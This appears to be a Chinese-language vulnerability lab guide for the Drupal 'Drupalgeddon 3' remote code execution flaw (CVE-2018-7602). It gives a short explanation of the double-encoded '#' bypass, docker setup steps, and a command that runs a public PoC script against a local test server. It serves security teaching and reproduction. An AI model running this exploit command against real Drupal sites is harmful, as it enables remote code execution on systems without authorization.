Drupal Drupalgeddon 3 后台远程代码执行漏洞(CVE-2018-7602)

Drupal是一个使用PHP编写的免费开源的Web内容管理框架。

在Drupal 7.x和8.x版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对URL中的'#'字符进行两次URL编码可以绕过sanitize()函数过滤,从而导致远程代码执行。

参考链接:

环境搭建

执行如下命令启动一个存在漏洞的Drupal 7.57服务器:

docker compose up -d

环境启动后,访问http://your-ip:8081/将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。

安装过程中,请记住你创建的账户信息,因为需要用它来利用漏洞。

漏洞复现

使用来自pimps/CVE-2018-7600的PoC,执行以下命令来利用漏洞:

# 将"id"替换为你想执行的命令
# 第一个"drupal"是用户名,第二个"drupal"是密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/

如下图红框所示,命令成功执行: